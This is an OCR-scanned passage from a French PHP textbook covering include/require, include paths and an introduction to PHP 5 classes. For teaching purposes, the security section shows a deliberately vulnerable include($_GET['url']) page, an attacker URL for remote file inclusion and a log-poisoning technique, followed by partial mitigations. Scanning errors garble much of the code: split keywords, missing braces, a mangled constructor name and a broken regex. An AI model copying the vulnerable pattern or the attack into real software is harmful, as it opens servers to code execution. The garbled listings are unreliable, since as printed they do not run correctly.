// Fonction pour modifier les etiquettes 
// du menu 

function patch(&$valeur, $key) { 
$valeur="[".$valeur."]"; 



// Affiche le menu 

array_wal k($menu, "affiche", "-"); 

// Patche le menu 
array_wal k($menu, "patch"); 

// ce qui donne le resultat 
print_r($menu) ; 
?> 

retournera 

1 - Accueil 

2 - Forum 

3 - A propos 

Array ( [0] => [Accueil] [1] => [Forum] [2] => [A propos] ) 
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Le langage PHP permet d'inserer, dans un script, du code qui provient d'un (ou de plusieurs) 
autres fichiers. 

Pour cela, PHP propose quatre fonctions (ou plutot, instructions) : 

■ require ( ) ; 

■ include ( ) ; 

et leurs variantes, depuis PHP 4.0.1, 

require_once ( ) ; 
include_once ( ) . 

Ces instructions sont generalement utilisees pour integrer des scripts dans lesquels des objets 
ou des fonctions reutilisables ont ete definis (dans ce cas, les fichiers inclus font office de 
bibliotheques de fonctions), ou bien pour integrer des portions de code contenant les 
parametres du script (dans ce cas, les fichiers inclus font office de fichiers de configuration). 

Listing 3.23 : include_01.php 

<?php 

// Inclut les parametres 
include("include_01a.php") ; 

// Inclut les fonctions 
include("include_01b.php") ; 

monEcho ($maChai ne) ; 
?> 



Listing 3.24 : include_01a.php 

<?php 

// Exemple de fichier de configuration 
// vraiment minimaliste 

$maChaine = "Bonjour tout le monde"; 
?> 

Listing 3.25 : included b.php 

<?php 

// Exemple de bibliotheque de fonctions 
// encore une fois bien minimaliste 

function monEcho($chaine) 
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echo $chaine; 



sera alors equivalent (commentaires exclus) a : 

Listing 3.26 : include_01equiv.php 

<?php 

$maChaine = "Bonjour tout le monde"; 

function monEcho($chaine) 
{ 

echo $chaine; 

} 

monEcho($maChaine) ; 




REMARQUE 



Fonction ou instruction ? 

require ( ) et include ( ) ne sontpas de veritables fonctions, et I'onpeut aussi bien 



ecnre : 



include ( "nom de fichier" ) ; 
include "nom de fichier" ; 



Ces instructions peuvent etre utilisees de facon conditionnelle ou bien encore dans des boucles, 
comme le montrent les exemples suivants : 

Listing 3.27 : include_02.php 

Je suis le script principal<br /> 

je vais tenter d'inserer les scripts<br /> 

apres avoir teste leur existence<br /> 

<?php 

if (file_exists("include_02a.php")) { 
include("include_02a.php") ; 

} 

if (file_exists("fichierinconnu.php")) { 
include("fichierinconnu.php") ; 
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Listing 3.28 : include_02a.php 

* Je sin's un simple script a inclure nomme include_02a.php 

affichera : 

Je suis le script principal 

je vais tenter d'inserer les scripts 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomme include_02a.php 

Le tout sans generer d'erreur, puisque le script principal ne tentera jamais d'inclure le fichier 
inexistant. 



Accolades necessaires 
REMARQUE 



Notez la presence des accolades qui definissent le bloc contenant uniquement 
Vinstruction include. Ces accolades sont necessaires, ilne faut done pas les omettre. 



Listing 3.29 : include_03.php 

Je suis le script principal<br /> 

je vais tenter d'inserer un script en boucle<br /> 

<?php 

for ($i=0; $i<3; $i++) { 

include("include_03a.php") ; 

} 
?> 



Listing 3.30 : include_03a.php 

* Je suis un simple script a inclure nomme include_03a.php<br /> 

affichera, quant a lui : 

Je suis le script principal 

je vais tenter d'inserer un script en boucle 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomme include_03a.php 

* Je suis un simple script a inclure nomme include_03a.php 

* Je suis un simple script a inclure nomme include 03a. php 



*® 



Evolution de Vinstruction requireQ 

Meme si cela n'etait pas vrai auparavant pour Vinstruction require ( ), depuis la 
version 4.0.2, les fonctions require ( ) et include ( ) se comportent sensiblement de 
la meme f aeon (la commande require ( ) s'etant ralliee au comportement de la 
commande include ( )). 
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Comme cela se devine dans les exemples precedents, les scripts inseres commencent sur la base 
d'un texte brut (ou code HTML) ; il faudra done rouvrir les balises PHP pour les portions de 
code PHP. De ce fait, les scripts inseres sont similaires aux scripts principaux. 



Inclusions multiples 



II peut arriver que, sans veritablement le vouloir, un script soit inclus plusieurs fois. Cela arrive 
notamment lorsqu'un script A inclut un script B et un script C, alors que le script B lui-meme 
inclut le script C (e'est generalement ce qui arrive si les regies de codage ne sont pas 
suffisamment claires sur ce point). 

Si le script inclus de multiples fois contient des declarations de fonctions (ou d'objets) alors, 
inevitablement, vous vous retrouverez avec un message d'erreur indiquant que la fonction 
(ou l'objet) a deja ere definie. Afin de vous affranchir de ce probleme, vous pouvez faire 
appel a l'instruction include_once ( ) ou require_once ( ) afin de n'inclure le script qu'au 
premier appel. 

Ainsi, si Ton reprend l'exemple precedent avec include_once ( ) , cela donnera : 

Listing 3.31 : include_04.php 

Je sin's le script principal<br /> 

je vais tenter d'inserer un script en boucle<br /> 

<?php 

for ($i=0; $i<3; $i++) { 

include_once("include_03a.php") ; 



et affichera seulement : 

Je suis le script principal 

je vais tenter d'inserer un script en boucle 

apres avoir teste leur existence 

* Je suis un simple script a inclure nomine include_03a.php 

Notez, a cette occasion, qu'il est a tout moment possible de connaitre la liste des fichiers inclus 

grace a la fonction get_included_f iles ( ) (ou son alias get_required_f iles ( ) ). 



get_included_files () 

Retourne la liste des fichiers inclus. 

Syntaxe array get_included_fi les (void) 

retour Tableau indexe contenant la liste des noms complets (chemins absolus) 

des fichiers inclus par include ( ) , require ( ) , include_once ( ) ou 
require_once ( ) . Les noms des fichiers inclus plusieurs fois 
n'apparaissent qu'une fois. 
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Les noms des fichiers inclus 

Les noms des fichiers inclus peuvent porter n'importe quelle extension. Mais, dans la pratique, 
il faut etre prudent et bien choisir son extension. Nous vous conseillons une extension 
"Jnc.php". 



J\ Extension des fichiers inclus et risques de piratage 

^^\ Si vous ne donnez pas ['extension .php, les fichiers inclus, s'ils sont accedes 
ATTENTION directement, ne seront pas interpretes et livreront tous leurs secrets. 

En effet, si, par exemple, votre script principal inclut un fichier nomme config.in" et 
qu'un pirate connait ['existence de ce fichier, ilpourra I'appeler directement depuis 
son navigateur et lire simplement son contenu, comme pour tout bon fichier texte (et 
il y trouvera certainement des choses interessantes du genre $motdepasse = 
' secre t ' ; ). S'il s'agit d'un fichier contenant des fonctions ou des classes, le pirate 
pourra recuperer votre code source (et votre savoir-faire). Et pourtant, le moyen de se 
proteger est tres simple : si vous ajoutez simplement ['extension .php a vos scripts 
inclus, le code PHP, avant d'etre envoy e au navigateur du pirate, sera interprete, et le 
pirate ne pourra lire que le resultat de V interpretation (generalement un simple page 
blanche, puisque par exemple $motdepasse = 'secret' ; n'affichera rien). 



Les fichiers inseres distants 

Les fichiers a inserer sont generalement sur le meme serveur que le script principal, mais il est 
egalement possible d'inserer un fichier situe sur un autre serveur. 

Pour cela, il suffit de preciser l'URL complete du fichier, par exemple http://www.php.net/chemin/ 
fichier.html, a condition toutefois que la directive de compilation 
— disable-url-fopen-wrapper n'ait pas ete utilisee. II est a noter que, dans ce cas, si vous 
appelez un script PHP, seul le resultat de ['interpretation du script par le serveur distant sera 
inclus dans le script principal (et non le code source du script inclus). 



} Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Ouf! Nous sommes proteges 

La remarque precedente est importante. Elle implique que, tant que vous utilisez 
{'extension .php et que votre serveur interprete les fichiers .php, un pirate ne peut pas 
esperer lire vos fichiers de configuration par un simple include ( "http: 
//www. serveurquejaimeraispirater. com/fichierconfig.php") ;. 
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Le passage de parametres 



Les fichiers etant tout betement integres dans le script principal, les variables globales qui 
auront ete definies avant les commandes include ( ) ou require ( ) seront accessibles par les 
scripts integres. Et, reciproquement, les variables globales definies (ou modifiees) dans les 
fichiers inclus (interpreted localement) seront accessibles par les fichiers inclus suivants ainsi 
que par le script principal. 

Ainsi, si le script inclus necessite un certain nombre de parametres, il n'est pas necessaire (et 
cela ne fonctionnera pas) de faire : 

<?php 

i ncl ude("f i chi er_i nc . php?parametrel=val eurl&parametre2=val eur2" ) 
?> 

mais plutot : 

<?php 

$parametrel = valeurl; 

$parametre2 = valeur2; 

include("fichier_inc.php") ; 
?> 

Le seul cas ou, dans un include ( ) , on peut etre amene a passer des parametres, c'est celui ou 
le fichier inclus est un script PHP distant qui necessite des parametres. C'est un cas bien 
particulier, puisqu'alors le script inclus sera interprets par le serveur distant avant d'etre inclus 
(et non inclus tel quel dans le script principal). 

<?php 

include("http://www.php.net/script.php?paraml=valeuri") ; 
?> 



Les chemins relatifs 

Les chemins precises dans ces commandes, s'ils ne sont pas absolus, sont toujours relatifs au 
script en cours d'execution. Cela peut, a premiere vue, paraitre banal, mais, c'est en fait lourd 
de consequences. 

Si votre script principalphp du projet pro jet est stocke dans un repertoire projet et qu'il inclut 
un script inclus ljnc.php de la bibliotheque biblio stocke dans un repertoire biblio, vous serez 
tente de mettre la commande include ( " . . /bibiio/inciusi_inc.php" ) . A vrai dire, 
jusque-la, tout va bien. 

Mais si votre script inclusl Jnc.php a besoin d'un autre fichier inclus2 Jnc.php (disons) de la 
meme bibliotheque, ce dernier aura probablement utilise la commande 

include ( " inclus 2_inc .php" ) . Et c'est la le probleme. 

Si vous decidez d'executer le script inclusl Jnc.php, cela fonctionnera parfaitement. Mais, pour 
le script principalphp le chemin precise dans la commande include de inclusl Jnc.php sera 
relatif au script en cours (relatif au repertoire projet). Autrement dit, on va chercher inclus2Jnc 
.php sous projet et non sous ../biblio, ce qui, de toute evidence, ne fonctionnera pas. 




211 



Chapitre 3 Le langage PHP 



Cela voudrait dire que, pour corriger le probleme, nous devrions remplacer le chemin precise 
dans inclusl Jnc.php par un chemin relatif a projet. En d'autre termes, remplacer 

include ( "inclus2_inc .php" ) par include ( " . . /biblio/inclus2_inc .php" ) . Toutefois, 
cela est insatisfaisant a plus d'un titre. 

1. A la lecture de la bibliotheque biblio cette reference ../biblio est plutot incongrue. 

2. Cette solution ne serait pas satisfaisante pour un projet situe dans un autre niveau 
d'arborescence. 

3. L'appel direct inclusl Jnc.php fonctionne toujours, mais uniquement parce que nous avons 
pris un cas de figure plutot simple (projet et biblio sont au meme niveau d'arborescence). 

Pour pallier ce probleme, nous avons deux solutions possibles : 
a. 

o_ ■ Modifier le parametre include j>ath. 

■ Toujours utiliser des chemins absolus. 



a> 
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Le parametre include_path est un parametre du fichier php.ini qui indique ou aller chercher 
le fichier a inclure. Ce parametre definit une liste de chemins separes par des : sous Linux/ 
UNIX, mais par des ; sous Windows. Dans ce cas, il vous faudra modifier le fichierphp.ini pour 
chaque bibliotheque ajoutee (et pour chacun des serveurs). 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 




RENVOI 



Ce parametre include_path peut toutefois etre modifie au niveau du script (avant de faire 
l'appel a include)) ou require) )) grace a la fonction ini_set(), selon le modele 

ini_set ( "include_path" , "<nouvelle liste de repertoires>" ) ; ■ 



Construction automatique de chemins absolus 

A premiere vue, Videe de toujours preciser des chemins absolus lorsque Von desire 
astuce inclure des fichiers peut sembler extremement contraignante. En effet, cela signifie, en 
theorie, que si Von souhaite deplacer I'espace hebergeant I'ensemble des scripts (ou 
installer les scripts sur une autre machine proposant une autre arborescence), tons les 
chemins seront a modifier. Mais heureusement, en pratique, il est possible de 
construire dynamiquement ces chemins absolus. 

En effet, la constante file retourne le chemin absolu et le nom du fichier 

inclus. Le chemin absolu du fichier ayant un chemin relatif (au fichier inclus) 
cheminRelatif I fichier. php sera alors : 

dirname ( FILE ) . " /cheminRelatif /fichier .php" 

II suffit done de remplacer Vintuitif 
include ( " cheminRelatif /fichier .php " ) ; 
par 
include (dirname ( FILE ) . " /cheminRelatif /fichier .php" ). 
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Cas d'erreur et code retour 

Si le script a inclure n'est pas trouve alors : 

L'instruction include () generera un message d'erreur de type "alerte" (warning) et le 
deroulement du script principal se poursuivra. 

L'instruction require ( ) generera un message d'erreur de type "fatale" (fatal) et le 
deroulement du script principal s'interrompra. 

Si une erreur est levee (meme une erreur de type "fatale") dans un script inclus, cela 
n'interrompt pas pour autant 1'execution du script principal (que ce soit avec include ( ) ou 

require ( ) ). 

L'instruction include () retourne un code d'erreur, ce qui n'est pas le cas de l'instruction 

require ( ) . 

Par defaut, le code retour de l'instruction include ( ) est : true en cas de succes et false en cas 
d'echec. Mais il est egalement possible de generer son propre code retour (en cas de succes de 
l'inclusion) en sortant du script inclus par l'instruction return ( ) suivie de la valeur a retourner 
(comme nous le ferions pour une simple fonction). 

Listing 3.32 : include_05.php 

<?php 

$retour = include("include_05_inc.php") ; 
echo "Code retourne par le fichier inclus = $retour<br />"; 
?> 

Listing 3.33 : include_05_inc.php 

<?php 

echo "* Je suis le fichier inclus, <br />"; 

echo "je me contente d'afficher ce message<br />"; 

echo "et de retourner 5<br />"; 




return 5; 



? 



!> 



affichera done : 

* Je suis le fichier inclus, 

je me contente d'afficher ce message 

et de retourner 5 

Code retourne par le fichier inclus = 5 



REMARQUE 



Differences entre include () et require () 

Depuis la version 4.0.2, les instructions include ( ) et require ( ) ne different que 
sur deux des points evoques dans ce chapitre : 

Comportement en cas d'inexistence du fichier a inclure ; 
Presence ou non d'un code retour. 
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Un cas (T utilisation pratique mais potentiellement dangereux 

La fonction include ( ) est souvent utilisee pour emuler l'utilisation de frames sans faire appel 
a la balise HTML <f rame>. Dans ce cas, la page principale du site contient, generalement, un 
en-tete, un ou des menus (dans un bandeau superieur, gauche ou droit), le contenu et, 
eventuellement, une ligne de copyright. Le tout pouvant prendre la forme d'un tableau, ou , 
quasiment, seule la partie "contenu" change (d'une page a l'autre). L'idee consiste alors a 
fournir au script principal un parametre indiquant quelle page de contenu afficher 
(techniquement, cela consiste en un simple include). Ce qui donne a peu de choses pres (je 
vous laisse fignoler) le code suivant : 

Listing 3.34 : includeframeOLphp 



o. <html> 



<body> 

<table width="100%"> 

<trxtd colspan="3" align="center">Entete</tdx/tr> 

<trxtd>Menu Gauche</td> 

<td> 

<?php 

include($_GET["url"]); 
?> 

</td> 

<td>Menu Droit</td> 
</tr> 

<trxtd colspan="3" align="center">Copyright</tdx/tr> 
</table> 
</body> 
</html> 

qui pourra etre appele comme suit : 

include_f rameOl .php?url="accueil .html" 
include_f rameOl .php?url="mavie .html ' 



/£) Pourquoi eviter la balise <frame> ? 

"**^ Le probleme que I'on peut rencontrer en utilisant des frames HTML est lie au fait que 

ce qui apparait dans le navigateurn'est pas le resultat de V interpretation d'une seule 
URL mais de plusieurs (celle qui definit les frames et celles qui definissent leur 
contenu). Ainsi, les moteurs de recherche, lorsqu'ils indexent des sites contenant des 
frames, ne font pas de distinction entre ces differentes URL - ce qui bien souvent les 
amene a proposer une reorientation vers une des frames hors de son contexte, 
masquant generalement la frame qui contient le menu principal, et empechant ainsi 
la navigation sur le site. II existe de nombreux moyens de contourner ce probleme : 
l'utilisation du Javascript en est un, mais I'ideal est certainement de n' avoir qu'une 
page unique. 
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Cependant, ce type d'implementation pose de serieux problemes de securite. En effet, rien 
n'empeche un pirate d'appeler lui-meme 

includef rameOI .php?url = http://www.sitedupirate.com/scriptmechant.txt. 

Et si scriptmechant.txt affiche (mais n'execute pas) un texte contenant un script PHP, ce script 
sera execute sur VOTRE serveur au moment de l'include. Le pirate pourra alors faire ce que 
bon lui semble sur VOTRE serveur, a commencer par executer une commande afin d'archiver 
du code source de votre site (et recuperer ainsi vos mots de passe d'acces a la base de donnees). 

Dans ce cas de figure, la premiere precaution a prendre consiste done a empecher l'inclusion de 
fichiers distants. Une solution simple et doublement utile consiste a faire preceder la 
commande include ( ) d'un test d'existence du fichier par f iie_exists ( ) . Cela vous evitera, 
d'une part, de tenter d'inclure des fichiers qui n'existent pas et, d'autre part, comme 
f iie_exists ( ) retourne false dans le cas de fichiers distants, d'inclure de tels fichiers. 

Listing 3.35 : include_frame02.php 

<html> 

<body> 

<table width="100%"> 

<trxtd colspan="3" align="center">Entete</tdx/tr> 

<trxtd>Menu Gauche</td> 

<td> 

<?php 

if (file_exists($_GET["url"])) include($_GET["url "]) ; 
?> 

</td> 

<td>Menu Droit</td> 
</tr> 

<trxtd colspan="3" align="center">Copyright</tdx/tr> 
</table> 
</body> 
</html> 

Vous voila rassure ? 

Eh bien, vous avez tort ! 

Ce n'est pas parce que le fichier est sur votre serveur et qu'il existe (et qu'il est accessible depuis 
votre compte) que vous etes a l'abri. Eh oui, les pirates sont de petits malins (e'est d'ailleurs bien 
souvent par defi que les pirates sevissent). La plupart des serveurs web sont configures pour 
tracer les evenements (a titre statistique ou de surveillance). Avec Apache, les fichiers de traces 
sont, par defaut, access Jog et error Jog : ils contiennent generalement (selon la configuration) 
l'URL de la page demandee, l'adresse IP du client, etc. L'un est destine aux acces reussis, 
l'autre aux acces ayant echoues. Evidemment, ces fichiers sont lisibles par le serveur et un appel 
a f ile_exists ( ) sur ces fichiers retournera true. Si le pirate fait pointer $url sur ces fichiers, 
ils seront done inclus. Vous me direz "oui, mais qu'est-ce que 5a va lui apporter de lire le 
contenu de ce fichier ?". A premiere vue rien, sinon que... je vous l'ai dit, ils sont malins !. II lui 
suffit de trouver le moyen d'inclure dans ces fichiers (et plutot dans le fichier error Jog) le code 
PHP qu'il souhaite executer. Pour cela, il suffit qu'il appelle une URL bidon dans laquelle il 
integre le code (ex. : http://www.siteattaque.com/<moncode>). Et voila, le tour est joue ! 
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Conclusion, il faut egalement s'assurer que le fichier inclus ne pourra etre, d'une maniere ou 
d'une autre, un fichier altere par un pirate (ex. : contenu d'un livre d'or s'il est stocke dans un 
fichier et non dans une base de donnees). 

Si vous ne creez aucun fichier (style livre d'or) dans l'espace de votre serveur, vous pouvez alors 
certainement vous proteger de ce type d'attaque en remplagant le test precedant par 

if (eregi(" /v ".$_SERVER["DOCUMENT_ROOT"] > real Path($url )) ) ... 

qui verifiera que le chemin reel de l'URL specifiee commence bien par 

$_server [ " document_root " ] (la racine du serveur web). 



*& 



Les pirates 



a. ^ N'oubliez pas : il y a probablement plus de mauvais administrateurs reseaux et de 

S> KtMAKUUfc mauvais programmeurs que de pirates mal intentionnes. De plus, les attaques que 

^ Von peut subir apprennent generalement plus qu'elles ne causent de desagrements 

— (hormis une grosse perte de temps). 



3.10. Les classes, les objets 



Avec la version 5, PHP se tourne un peu plus vers le monde des langages orientes objets (notez 
l'importance, ici, du terme "oriente"). Ce n'est toutefois pas un langage a objets comme peut 
T'etre Eiffel et contrairement aux autres langages orientes objets, tels que C++ ou Java, PHP 
reste un langage de script. 



Le langage Eiffel 

Cree par Bertrand Meyer, le langage Eiffel a trouve sa place dans le milieu 
universitaire en tant qu 'outil d'enseignement de la "philosophie" objet des langages de 
programmation. Son typage tresfort le rend particulierement intransigeant. 



REMARQUE 



Avant d'expliquer comment cela se gere au niveau de PHP, il peut etre interessant de rappeler 
ce qu'est la programmation objet. 

L'idee est d'avoir un langage de programmation ou les donnees d'une meme nature et les 
fonctions qui permettent de les manipuler sont intimement liees au sien d'entites appelees 
objets. Les classes associees a ces objets auront une fonction d'initialisation (appelee 
"constructeur"), des attributs et des fonctions (proprietes) qui leur sont propres (appeles 
methodes). Toutes ces entites repondront aux exigences de l'objet. 

Prenons un exemple simple : une boutique d'informatique. On pourra definir un ordinateur a 
partir de plusieurs classes : 

Une classe ordinateur (on appellera ordinateur l'association d'un boitier, d'un ecran, 
d'un clavier et d'une souris) ; 

Une classe Boitier (on estime qu'un boitier est deja equipe) ; 

Une classe Ecran ; 
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Une classe clavier ; 
Une classe souris. 

Chacune de ces classes comportera un certain nombre d'attributs et de methodes : 

Souris : une souris sera definie par son prix et son modele. On ajoutera deux fonctions 
permettant de modifier le prix et le modele : modif ierPrix ( ) , modif ierModele ( ) . 

clavier : dans un premier temps, nous nous contenterons des memes informations que 
celles definies pour la classe souris. 

Ecran : idem. 

Boitier : idem mais nous ajouterons un attribut details et la fonction 

modif ierDetails ( ) . 

Ordinateur : on peut associer un identifiant unique a un ordinateur identif iant, et une 
methode pour calculer son prix calculerPrix( ) en fonction des elements qui le 
constitue. Quatre attributs pourront definir chacune des pieces d'un ordinateur : boitier, 
ecran, clavier, souris. 

Alors que la plupart des attributs seront de type simple: reel (pour le prix), chaine de caracteres 

(pour le modele); La classe Ordinateur, elle, Utilise des attributs boitier, ecran, clavier, 

souris qui sont des types complexes: a savoir les classes precedemment definies. 

La creation d'un objet (instanciation d'une classe) passe par l'appel d'une methode particuliere 
appelee constructeur. Le constructeur des classes souris, clavier et Ecran aura comme 
parametres le prix et le modele. Le constructeur de la classe Boitier aura comme parametres 
le prix, le modele et une description. La classe ordinateur aura un constructeur ayant comme 
attributs un boitier, un ecran, un clavier et une souris. 

Ce qui donne en notation "abstraite" : 

Classe Ordinateur 

Constructeur : 

ordinateur (boitier : BOITIER, ecran : ECRAN, clavier : CLAVIER, souris : SOURIS). 

Attributs : 

boitier : BOITIER ; 
ecran : ECRAN ; 
clavier : CLAVIER; 
souris : SOURIS. 

Fonctions : 

■ calculerPrix() : REAL 
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Classe Boitier 

Constructeur : 

boitier (modele : STRING, details : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
details: STRING; 
prix : REAL. 

Fonctions : 

modif ierModele (modele:STRING) : VOID ; 
modif ierDetails (details : STRING) : VOID ; 
modif ierPrix (details:STRING) : VOID. 

Classe Ecran 

Constructeur : 

ecran (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions: 

modif ierModele (modele : STRING) : VOID ; 
modif ierPrix (details : STRING) : VOID. 

Classe Clavier 

Constructeur : 

clavier (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions : 

modif ierModele (modele : STRING) : VOID ; 
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modif ierprix (details : STRING) : VOID. 

Classe Souris 

Constructeur : 

souris (modele : STRING, prix : REAL). 

Attributs : 

modele : STRING ; 
prix : REAL. 

Fonctions : 

modif ierModele (modele : STRING) : VOID ; 
modif ierprix (details : STRING) : VOID. 

Ce modele definit simplement un ordinateur tel qu'il a ete decrit. 

L'avantage de ce type de programmation, c'est qu'il est tres facilement modifiable et corrigible. 
S'il est decide que le calcul du cout d'un ordinateur n'est plus la simple addition des pieces le 
composant, mais le cout des pieces plus un cout de montage, il suffit de modifier la methode 

calculerPrix ( ) de la classe Ordinateur. 

Nous verrons par la suite qu'il est possible de faire bien mieux encore en se servant de ce qui est 
appele l'heritage. 

^■gQ la POO en deux mots 

'=» Ceci n'est qu'un apercu de la programmation orientee objet (POO) ; un apercu qui 

n'a d'ailleurs pas d'autre ambition que d'initier. II existe de nombreux livres et sites 
Internet qui en parlent longuement, de maniere generate ou associe a un langage en 
particulier. 



Definir une classe 

II est d'usage de definir une seule classe par fichier, mais cela n'est pas obligatoire. Voici le 
squelette d'une classe : 

<?php 

class Ordinateur 

{ 

// on placera ici le constructeur, les attributs et les methodes. 

} 
?> 
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CONSEIL 



Une classe, unfichier 

Une classe par fichier est sans aucun doute la meilleure fagon de s'y retrouver : le nom 
du fichier peut ainsi prendre le nom de la classe (eventuellement suffixepar "_class"), 
et il est alors tres facile de retrouver la classe sur laquelle on veut travailler. 



ATTENTION 



stdClass 

Vous ne devez en aucun cas appeler une classe stdClass, cenom etant reserve a PHP. 
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Les constructeurs 

Un constructeur est une methode (fonction) appelee lors de l'instanciation (la creation d'un 
objet), qui sert generalement a initialiser des attributs. Le nom du constructeur doit etre 

" construct". 



A 



ATTENTION 



Compatibilite ascendante 

Avec PHP 4, le nom du constructeur devait etre identique au nom de la classe. Ne 
vous inquietez pas ! Ce n'est pas parce que vous avez, dans vos tiroirs, des scripts 
ecrits en objet pour PHP 4, que vous devez necessairement vous empresser de les 

corriger pour les faire fonctionner avec PHP 5. En fait, si la methode construct 

n 'est pas trouvee, I'interpreteur continuera a rechercher une methode portant le meme 
nom que la classe et s'en servira comme constructeur. 



<?php 

class Ordinateur 

{ 

// on placera ici les attributs. 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

echo "Le constructeur a ete appele avec les parametres:<br />" 

echo $boitier. "<br />"; 

echo $ecran."<br />"; 

echo $clavier. "<br/>"; 

echo $souris."<br />"; 



} 
?> 



// on placera ici les methodes. 



Pour creer un objet, il suffit d'utiliser l'instruction new comme suit : 
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$monOrdinateur = new Ordinateur($monBoitier, $monEcran, 

$monClavier, $maSouris); 

L'exemple id suppose que $monBoitier, $monEcran, $monClavier et $maSouris SOnt de type 

chaine de caracteres (ce qui n'est pas ce que Ton souhaite a terme). 

A tout moment, il vous est possible de verifier si un objet appartient a (ou derive d'une) classe 
donnee en faisant appel a 1'instruction instanceOf . 

<?php 

// Nous supposons que la classe MaClasse a ete definie precedemment 

$obj = new MaClasseO; 

if ($obj instanceOf MaClasse) { 

echo "Oui, c'est bien le type d 1 objet que j 'attendais"; 
} else { 

echo "Mais c'est quoi cet objet ?"; 

} 
?> 



Les attributs 

Les attributs sont des variables ou des constantes associees a un objet. lis sont precedes du 
mot-cle public, protected OU private. 

<?php 

class Ordinateur 

{ 

public $boitier; 

public $ecran; 

public $clavier; 

public $souris; 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

$this->boitier = $boitier; 

$this->ecran = $ecran; 

$this->clavier = $clavier; 

$this->souris = $souris; 



// on placera ici les methodes. 




? 



> 



«@ 



varPHP4 

Du temps de PHP4, les modificateurs de portee: public, protected et private 
n'existaient pas. Ilfallait alors utiliser le mot cle var (qui reste toutefois compatible 
avec PHP 5 et qui se comporte comme publ i c) 
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Dans cet exemple, le constructeur joue bien son role d'initialisation. $this est l'objet courant. 
$this->boitier fait done appel a l'attribut boitier de l'instance "courante" de Ordinateur. 

Les attributs ayant ete declares public, ils sont accessibles depuis "tout endroit du code": a 
savoir au sein de la classe (via $this->boitier) tout comme en dehors de la classe par 
1'instruction : 

SmonBoitier = $monOrdinateur->boitier; 

Et comme nous le verrons plus tard, un attribut public est egalement accessible depuis une 
classe derivee (Cf. heritage). 

o- J\ Appel d'attributs 

a. ^^A Une erreur courante consiste a ecrire $monOrdinateur->$boitier au lieu de 

D> ATTENTION $monOrdinateur->boitier. Bien entendu, la premiere version ne peut 

°> fonctionner, car elle devient $monOrdina teur-> " " si $boi tier n 'est pas defini. 

_l 
CO 

Les constantes 

II est possible de definir des constantes au sein d'une classe, pour cela, il suffit d'utiliser 
1'instruction const. Celles ci sont alors uniquement accessibles via un appel statique 

(MonObjet: :MA_CONSTANTE). 

Notez qu'une constante definie au niveau de la classe sera prioritaire sur une constante portant 
le meme nom, mais definie en dehors de la classe via 1'instruction define. 

<?php 

class Divers 
{ 

const MODE_RAPIDE = "rapide" 

const MODE PRECIS = "precis"; 



echo Divers: :MODE_RAPIDE. "<br />"; 



? 



> 



Valeur initiate des attributs 

Comme pour les variables statiques des fonctions, il n 'est pas possible d'initialiser les 
valeurs des variables enfaisant appel a des operateurs (ex: public $val = 5 + 7 ;) 
ou a des fonctions (ex: public $val = sqrt (25) ;). 



attributs statiques 

Au besoin, vous pourrez egalement utiliser le modificateur "static" qui permet de definir une 
variable partagee par toutes les instances de l'objet. Une variable statique s'adresse selon le 
schema MonObj et : : $maVariable. 
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<?php 

class Divers 



static $compteur = 0; 
function incrementeCompteur() 

{ 

self: :$compteur++; 
} 

function afficheCompteurQ 
{ 

echo self : :$compteur; 

} 



$objl = new Divers(); 
$objl->incrementeCompteur() ; 
$obj2 = new Divers(); 
$objl->afficheCompteur() ; 
$obj2->afficheCompteur() ; 
?> 

affichera done : 




Ce qui montre bien que la variable statique est partagee par les deux instances. 

On n 'est jamais mieux servi que par soi-meme 

Dans le cas d'un attribut ou d'une methode statique, pourfaire reference a la classe 
courante vous devez utiliser ['instruction self: .-. 



Les methodes 

Les methodes sont des fonctions propres a une classe donnee qui permettent de manipuler ou 
acceder aux attributs d'un objet. Elles se declarent comme des fonctions mais sont definies au 
sein d'une classe. 

<?php 

class Ordinateur 

{ 

public $boitier; 

public $ecran; 

public $clavier; 

public $souris; 

function construct($boitier, $ecran, $clavier, $souris) 

{ 

$this->boitier = $boitier; 
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$this->ecran = $ecran; 
$this->clavier = $clavier; 
$this->souris = $souris; 



// La fonction calculer_prix renvoi e la somme des prix des composants 
function calculerPrix() 

{ 

$boitier = $this->boitier; 

$ecran = $this->ecran; 

$clavier = $this->clavier; 

$souris = $this->souris; 

return $boi ti er->pri x+$ecran->pri x+$cl avi er->pri x+$souri s->pri x ; 



L'appel a une methode se fait selon le schema suivant: 
$monObject->maMethode() ; 



Noms de methodes 

Deux classes peuvent avoir les mimes noms de methodes, vu qu'elles sont precedees, 
lors de leur appel, d'un objet type. Aucune confusion n'est alors possible. 

Les remarques, presentees dans le chapitre sur les fonctions, concernant la portee des variables 
(globales, statiques ou locales) s'appliquent exactement de la meme maniere pour les 
methodes. 



A Noms de methodes reserves 

^^^ Afin de ne pas prendre le risque de rentrer en conflit avec des methodes (appelees 
ATTENTION "fonctions magiques") utilisees pour le fonctionnement interne de PHP, vous ne devez 
pas f aire preceder le nom de vos methodes par " ". 



Les methodes statiques 

Une methode ne faisant pas appel a un attribut de l'objet (ou a une autre methode non 
statique) est dit statique. 

<?php 

class Souris 

{ 

function afficher() 

{ 

echo "Cet objet represente une souris d'ordinateur"; 

} 
} 

?> 
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Pour appeler une telle methode, il est inutile de creer un objet (par un appel new). II est done 
possible d'utiliser l'operateur : : (au lieu de ->) . Ainsi, le script suivant aura pour effet 
d'afficher "Cet objet represente une souris d'ordinateur" sans pour autant avoir eu besoin de 
creer un objet Souris. 

<?php 

Souris: :afficher() ; 
?> 

Passage par reference et dereferencement 
Passage par reference 

Avec PHP 5, les objets sont systematiquement passes par reference (comme dans un langage tel 
que Java) et non plus par copie. II n'est done pas necessaire de faire preceder le nom du 
parametre d'un & comme ce fut le cas avec PHP 4. 

Ainsi, l'exemple suivant : 

Listing 3.36 : Exemple 

<?php 

class MaClasse 

{ 

var $msg; 

function MaClasse() 

{ 

$this->msg = "Message par defaut"; 

} 
} 

function modi fieMessage($ob jet) 
{ 

$objet->msg = "Message modifie par la fonction"; 

} 

$obj = new MaClasse() ; 
modifieMessage($obj) ; 
